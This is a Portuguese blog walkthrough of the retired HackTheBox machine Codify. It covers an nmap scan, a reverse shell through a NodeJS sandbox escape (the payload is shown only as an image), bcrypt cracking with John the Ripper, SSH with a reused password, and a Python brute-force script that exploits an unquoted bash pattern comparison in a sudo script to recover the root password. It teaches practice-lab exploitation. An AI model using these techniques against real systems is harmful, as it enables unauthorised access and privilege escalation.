DEV Community

Guilherme Martins
Guilherme Martins

Posted on

HackTheBox - Writeup Codify [Retired]

Hackthebox

Neste writeup iremos explorar uma máquina linux de nível easy chamada Codify que aborda as seguintes vulnerabilidades e técnicas de exploração:

  • NodeJS SandBox Escape
  • Bad Practice with password re-use
  • Bash conditional abuse

Recon e user flag

Iremos iniciar realizando uma varredura no ip do alvo em busca de portas abertas utilizando o nmap:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/codify]
└─# nmap -sV --open -Pn 10.129.67.147
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-06 14:59 EST
Nmap scan report for 10.129.67.147
Host is up (0.25s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.52
3000/tcp open  http    Node.js Express framework
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enter fullscreen mode Exit fullscreen mode

Existem três portas abertas no host:

  • 22 é a porta do ssh,
  • 80 esta rodando um Apache, que é um servidor web,
  • 3000 esta rodando um aplicação em NodeJS, que é um framework para javascript.

Também temos o retorno do host utilizado (codify.htb), vamos adicionar em nosso /etc/hosts.

Acessando a porta 80 através do navegador temos um site que emula uma sandbox para testar código em NodeJS:

Sandbox

Clicando em Try it now somos redirecionados para o endpoint /editor:

Editor

Onde podemos executar códigos utilizando nodejs. E aqui encontramos nossa primeira vulnerabilidade.

No terminal vamos utilizar o netcat para ouvir na porta 9001:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/codify]
└─# nc -nvlp 9001
listening on [any] 9001 ...
Enter fullscreen mode Exit fullscreen mode

E no editor vamos adicionar o seguinte código:

Reverse shelll

Dessa forma ao clicarmos em Run temos o seguinte retorno em nosso netcat:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/codify]
└─# nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.14.162] from (UNKNOWN) [10.129.67.147] 52094
bash: cannot set terminal process group (1238): Inappropriate ioctl for device
bash: no job control in this shell
svc@codify:~$
Enter fullscreen mode Exit fullscreen mode

Conseguimos um shell como usuário svc!

Este usuário não possui a user flag, sendo necessário realizar uma movimentação lateral para outro usuário. Neste caso o usuário é joshua:

svc@codify:~$ ls -alh ..
ls -alh ..
total 16K
drwxr-xr-x  4 joshua joshua 4.0K Sep 12 17:10 .
drwxr-xr-x 18 root   root   4.0K Oct 31 07:57 ..
drwxrwx---  3 joshua joshua 4.0K Nov  2 12:22 joshua
drwxr-x---  4 svc    svc    4.0K Sep 26 10:00 svc
Enter fullscreen mode Exit fullscreen mode

Podemos notar alguns serviços interessantes rodando no servidor e entender mais a fundo o funcionamento da aplicação em nodejs.

www-data    1167  0.0  0.1 1248900 5968 ?        Sl   19:57   0:00 /usr/sbin/apache2 -k start
www-data    1168  0.0  0.1 1249032 6632 ?        Sl   19:57   0:00 /usr/sbin/apache2 -k start
root        1233  0.0  2.0 1614296 79860 ?       Ssl  19:57   0:01 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
svc         1238  0.4  1.4 643260 58900 ?        Ssl  19:57   0:06 PM2 v5.3.0: God Daemon (/home/svc/.pm2)
svc         1256  0.3  1.5 654004 62572 ?        Sl   19:57   0:04 node /var/www/editor/index.js
svc         1257  0.2  1.5 653800 62548 ?        Sl   19:57   0:04 node /var/www/editor/index.js
svc         1273  0.2  1.5 653800 62460 ?        Sl   19:57   0:04 node /var/www/editor/index.js
svc         1277  0.2  1.5 653864 62032 ?        Sl   19:57   0:04 node /var/www/editor/index.js
svc         1463  0.3  1.5 654212 62852 ?        Sl   19:57   0:05 node /var/www/editor/index.js
root        1564  0.0  0.0   2888   956 ?        Ss   19:57   0:00 /bin/sh /root/scripts/other/docker-startup.sh
root        1565  0.2  0.8 190444 33940 ?        Sl   19:57   0:03 /usr/bin/python3 /usr/bin/docker-compose -f /root/scripts/docker/docker-compose.yml up
root        1634  0.0  0.0 1082092 2892 ?        Sl   19:57   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 3306 -container-ip 172.19.0.2 -container-port 3306
root        1653  0.0  0.3 722280 12232 ?        Sl   19:57   0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id f88b314ed6a4f84693267bda194d6266bdde5798ef5ccd082109b2566fda07f8 -address /run/containerd/containerd.sock
lxd         1673  0.0  2.5 1209952 101224 ?      Ssl  19:57   0:00 mariadbd
svc         1885  0.2  1.4 644132 59364 ?        Sl   20:11   0:01 node /var/www/editor/index.js
Enter fullscreen mode Exit fullscreen mode

Temos um apache rodando que esta servindo de proxy reverso para a aplicação nodejs na porta 3000.

Também temos um docker rodando que possui um container para o banco de dados na porta 3306, que se trata de um MariaDB. Que é um MySQL open source.

Com essas infos temos diversos pontos para buscar formas de movimentação lateral e também escalação de privilégios.

Vamos analisar os arquivos da aplicação buscando encontrar algum dado sensível exposto.

Dentre os arquivos que chamaram a atenção se encontra o tickets.db:

svc@codify:/var/www/contact$ ls -lah
ls -lah
total 120K
drwxr-xr-x 3 svc  svc  4.0K Sep 12 17:45 .
drwxr-xr-x 5 root root 4.0K Sep 12 17:40 ..
-rw-rw-r-- 1 svc  svc  4.3K Apr 19  2023 index.js
-rw-rw-r-- 1 svc  svc   268 Apr 19  2023 package.json
-rw-rw-r-- 1 svc  svc   76K Apr 19  2023 package-lock.json
drwxrwxr-x 2 svc  svc  4.0K Apr 21  2023 templates
-rw-r--r-- 1 svc  svc   20K Sep 12 17:45 tickets.db
Enter fullscreen mode Exit fullscreen mode

Esse é um arquivo sqlite utilizado pela app. Vamos realizar o download do mesmo e abrir utilizando o sqlite database browser.

E aqui podemos encontrar a seguinte informação:

DB Browser SQLite

Se trata de um hash para a senha do usuário joshua! Vamos salvar esse hash em um arquivo e utilizar o John The Ripper para quebrá-la:

┌──(root㉿kali)-[~kali/hackthebox/machines-linux/codify]
└─# john -w=/usr/share/wordlists/rockyou.txt joshua-hash 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob1       (?)     
1g 0:00:00:39 DONE (2023-11-06 15:27) 0.02550g/s 34.88p/s 34.88c/s 34.88C/s crazy1..angel123
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Enter fullscreen mode Exit fullscreen mode

Com essa senha encontramos outra má prática, que é reutilizar a senha em mais de um local. Pois com essa senha conseguimos acesso ssh com o usuário joshua e assim a user flag:

┌──(root㉿kali)-[~kali/hackthebox/machines-linux/codify]
└─# ssh joshua@codify.htb    
The authenticity of host 'codify.htb (10.129.67.147)' can't be established.
ED25519 key fingerprint is SHA256:Q8HdGZ3q/X62r8EukPF0ARSaCd+8gEhEJ10xotOsBBE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'codify.htb' (ED25519) to the list of known hosts.
joshua@codify.htb's password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Nov  6 08:28:47 PM UTC 2023

  System load:                      0.0087890625
  Usage of /:                       69.1% of 6.50GB
  Memory usage:                     20%
  Swap usage:                       0%
  Processes:                        237
  Users logged in:                  0
  IPv4 address for br-030a38808dbf: 172.18.0.1
  IPv4 address for br-5ab86a4e40d0: 172.19.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.129.67.147
  IPv6 address for eth0:            dead:beef::250:56ff:fe96:3567

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

joshua@codify:~$ ls -a
.  ..  .bash_history  .bash_logout  .bashrc  .cache  .profile  user.txt  .vimrc
joshua@codify:~$ cat user.txt 
fd3367ba0f1f94ea8b5634db1e5bd2c0
Enter fullscreen mode Exit fullscreen mode

Escalação de privilégios e root flag

Iremos iniciar visualizando as permissões que o usuário joshua possui:

joshua@codify:~$ sudo -ll
[sudo] password for joshua: 
Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User joshua may run the following commands on codify:

Sudoers entry:
    RunAsUsers: root
    Commands:
        /opt/scripts/mysql-backup.sh
Enter fullscreen mode Exit fullscreen mode

Utilizando o comando sudo com a flag -ll conseguimos ver com mais detalhes as permissões de sudo que o usuário possui.

O usuário pode executar o script /opt/scripts/mysql-backup.sh com permissões de root. Vamos analisar o script:

joshua@codify:~$ cat /opt/scripts/mysql-backup.sh 
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
Enter fullscreen mode Exit fullscreen mode

Aqui vemos que precisamos informar uma senha que bata com o conteúdo de /root/.creds, para que o script seja executado.

Podemos constatar que a ideia é descobrir a senha e que ela seja a mesma do usuário root, pois a execução do script em si somente filtra removendo os bancos information_schema e performance_schema, de forma que os demais tenham um backup efetuado através do comando mysqldump.

Analisando o código bash encontramos uma vulnerabilidade na condicional que realiza a comparação entre a senha fornecida pelo input do usuário e a senha que consta no arquivo do usuário root.

Ocorre que quando o operador do lado direito dentro do duplo colchete não esta entre aspas o bash realiza uma combinação por padrões, conhecido como pattern matching. Ou seja, você não precisa passar o valor exato, somente um valor que seja verdadeiro.

Por exemplo, se a senha for hackthebox, se você informar o valor hack* o mesmo será aceito.

Com isso podemos tentar buscar a senha através de brute force!

Podemos realizar um teste rápido para validar nossa teoria. Criamos um arquivo contendo todos os caracteres ASCII através do seguinte comando:

for ((i=32;i<127;i++)) do printf "\\$(printf %03o "$i")"; done;printf "\n" > ascii.txt
Enter fullscreen mode Exit fullscreen mode

Com o arquivo em mãos podemos realizar um simples brute force:

joshua@codify:~$ for i in $(cat ascii.txt); do echo "$i*" | sudo /opt/scripts/mysql-backup.sh - && echo $i; done

Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!

Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!
?
Password confirmation failed!
Enter fullscreen mode Exit fullscreen mode

Agora temos um padrão, quando a senha o valor ascii é inválido retorna “Password confirmation failed!” e quando é válido retorna “Password confirmed!”.

Com isso podemos criar um script que quando recebe o retorno de senha válida adicionar numa lista, assim printando a lista!

Podemos criar utilizando python para facilitar, uma vez que ele ja possui uma forma mais simples de gerar os caracteres em ascii.

Resultando no seguinte script:

import string
import subprocess

all_ascii = list(string.ascii_letters + string.digits)

password = ""
found = False

while not found:
    for character in all_ascii:
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout

        if "Password confirmed!" in output:
            password += character
            print(password)
            break
    else:
        found = True
Enter fullscreen mode Exit fullscreen mode

E ao executar temos o seguinte retorno:

joshua@codify:~$ python3 brute.py 
k
kl
klj
kljh
kljh1
kljh12
kljh12k
kljh12k3
kljh12k3j
kljh12k3jh
kljh12k3jha
kljh12k3jhas
kljh12k3jhask
kljh12k3jhaskj
kljh12k3jhaskjh
kljh12k3jhaskjh1
kljh12k3jhaskjh12
kljh12k3jhaskjh12k
kljh12k3jhaskjh12kj
kljh12k3jhaskjh12kjh
kljh12k3jhaskjh12kjh3
Enter fullscreen mode Exit fullscreen mode

Com o resultado em mãos podemos escalar privilégios para root e buscar a root flag!

joshua@codify:~$ su root
Password: 
root@codify:/home/joshua# ls -a /root/
.  ..  .bash_history  .bashrc  .creds  .local  .mysql_history  .profile  root.txt  scripts  .ssh  .vimrc
root@codify:/home/joshua# cat /root/root.txt 
1e36b6429f527ac7327a8eb4a4fa57a5
Enter fullscreen mode Exit fullscreen mode

Finalizando assim a máquina Codify!!

Machine pwned

Top comments (0)